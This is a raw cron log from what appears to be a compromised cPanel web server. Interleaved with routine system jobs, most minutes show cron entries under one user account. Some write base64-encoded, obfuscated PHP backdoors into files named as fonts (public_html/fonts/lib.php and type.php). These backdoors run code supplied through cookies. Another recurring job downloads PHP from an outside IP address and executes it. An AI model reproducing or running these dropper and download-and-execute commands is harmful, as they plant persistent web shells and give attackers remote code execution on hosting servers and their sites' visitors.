Sep 21 16:58:01 ip-184-168-122-23 CROND[14185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:58:01 ip-184-168-122-23 CROND[14186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:58:01 ip-184-168-122-23 CROND[14187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 16:59:01 ip-184-168-122-23 CROND[14324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 16:59:01 ip-184-168-122-23 CROND[14325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 16:59:01 ip-184-168-122-23 CROND[14326]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 16:59:01 ip-184-168-122-23 CROND[14327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:00:01 ip-184-168-122-23 CROND[14446]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 17:00:01 ip-184-168-122-23 CROND[14450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:00:01 ip-184-168-122-23 CROND[14447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:00:01 ip-184-168-122-23 CROND[14452]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 17:00:01 ip-184-168-122-23 CROND[14453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:00:01 ip-184-168-122-23 CROND[14448]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 17:00:01 ip-184-168-122-23 CROND[14449]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 17:00:01 ip-184-168-122-23 CROND[14454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:01:01 ip-184-168-122-23 CROND[14765]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:01:01 ip-184-168-122-23 CROND[14767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:01:01 ip-184-168-122-23 CROND[14768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:01:01 ip-184-168-122-23 CROND[14769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:01:01 ip-184-168-122-23 CROND[14770]: (root) CMD (run-parts /etc/cron.hourly)
Sep 21 17:01:01 ip-184-168-122-23 CROND[14771]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 17:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[14770]: starting 0anacron
Sep 21 17:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[14786]: finished 0anacron
Sep 21 17:02:01 ip-184-168-122-23 CROND[14981]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:02:01 ip-184-168-122-23 CROND[14982]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 17:02:01 ip-184-168-122-23 CROND[14984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:02:01 ip-184-168-122-23 CROND[14983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:02:01 ip-184-168-122-23 CROND[14985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:03:01 ip-184-168-122-23 CROND[15118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:03:01 ip-184-168-122-23 CROND[15120]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:03:01 ip-184-168-122-23 CROND[15122]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:03:01 ip-184-168-122-23 CROND[15123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:04:01 ip-184-168-122-23 CROND[15233]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:04:01 ip-184-168-122-23 CROND[15234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:04:01 ip-184-168-122-23 CROND[15237]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 17:04:01 ip-184-168-122-23 CROND[15238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:04:01 ip-184-168-122-23 CROND[15236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:05:01 ip-184-168-122-23 CROND[15356]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:05:01 ip-184-168-122-23 CROND[15358]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 17:05:01 ip-184-168-122-23 CROND[15359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:05:01 ip-184-168-122-23 CROND[15361]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 17:05:01 ip-184-168-122-23 CROND[15363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:05:01 ip-184-168-122-23 CROND[15360]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 17:05:01 ip-184-168-122-23 CROND[15362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:06:01 ip-184-168-122-23 CROND[15472]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 17:06:01 ip-184-168-122-23 CROND[15473]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:06:01 ip-184-168-122-23 CROND[15477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:06:01 ip-184-168-122-23 CROND[15475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:06:01 ip-184-168-122-23 CROND[15474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:07:01 ip-184-168-122-23 CROND[15860]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:07:01 ip-184-168-122-23 CROND[15861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:07:01 ip-184-168-122-23 CROND[15862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:07:01 ip-184-168-122-23 CROND[15863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:08:01 ip-184-168-122-23 CROND[16062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:08:01 ip-184-168-122-23 CROND[16064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:08:01 ip-184-168-122-23 CROND[16065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:08:01 ip-184-168-122-23 CROND[16067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:08:01 ip-184-168-122-23 CROND[16066]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 17:09:01 ip-184-168-122-23 CROND[16192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 17:09:01 ip-184-168-122-23 CROND[16193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 17:09:01 ip-184-168-122-23 CROND[16197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 17:09:01 ip-184-168-122-23 CROND[16196]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 17:09:01 ip-184-168-122-23 CROND[16194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 17:10:01 ip-184-168-122-23 CROND[16310]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 17:10:01 ip-184-168-122-23 CROND[16313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
